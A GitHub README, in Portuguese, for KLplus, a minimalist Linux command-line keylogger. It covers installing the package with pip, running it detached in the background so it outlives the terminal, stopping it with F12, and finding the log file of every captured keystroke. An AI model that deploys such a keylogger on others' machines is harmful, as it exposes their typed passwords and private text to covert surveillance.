Skip to content

danbros/KLplus

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

26 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

KLplus

License: GPL v2 Python 3.6 Maintenance yes PyPI PyPI - Downloads

Um Keylogger CLI para OS Linux baseado no principio KISS.

O objetivo deste pacote é entregar um keylogger minimalista, configurável por linha de comando e principalmente confiável.

Conteúdo

Guia de Instalação

Requisitos:

Para executar este aplicativo você precisa de um interpretador Python 3.6+ disponivel em seu OS Linux.
Para obter uma lista dos interpretadores Python do seu sistema, digite no Shell:

$ ls -1 /usr/bin/python* | grep '[2-3].[0-9]$'
# Ou
$ find /usr/bin/python* ! -type l
# Ou isso no caso de estar usando ambientes virtuais
$ whereis python

Você pode instalar o Python com:

# OS Debian/Ubuntu
$ sudo apt-get -y install python3.7

Instalação:

De sua linha de comando:

# Instalar dependências via Pypi
$ pip install KLplus

# Ou

# Instalar dependências via Pypi pelo Python 3 (necessário se
# Python 3 estiver instalado e não for o padrão do sistema)
$ python3 -m pip install KLplus

Ou:

# Clonar este repositório e instalar (necessário wheel):
$ pip install /~https://github.com/danbros/KLplus/releases/download/v0.1.2/KLplus-0.1.1-py3-none-any.whl

Alternativas:

# Instalar via GIT e .egg
$ pip install git+/~https://github.com/danbros/KLplus.git#egg=KLplus

# Via .zip
$ pip install /~https://github.com/danbros/KLplus/archive/master.zip

Configurando

Voçê pode iniciar o keylogger do terminal com:

$ python -m KLplus & disown -h %1

Assim ele é executado em segundo plano, podendo fechar o terminal sem destruir seu processo.


Ele captura todas as teclas digitadas até que o comando de saída seja pressionado (F12), e então finaliza.

O log capturado fica armazenado no mesmo diretório do módulo klplus. Insira esse comando se precisar descobrir o diretório.

$ { pip show KLplus | grep Loc; echo "/KLplus/log.txt"; } | sed 'N;s/\n//'

Ou faça pip show KLplus e olhe para Location.

Autoria e contribuições

pyxhook.py

Licença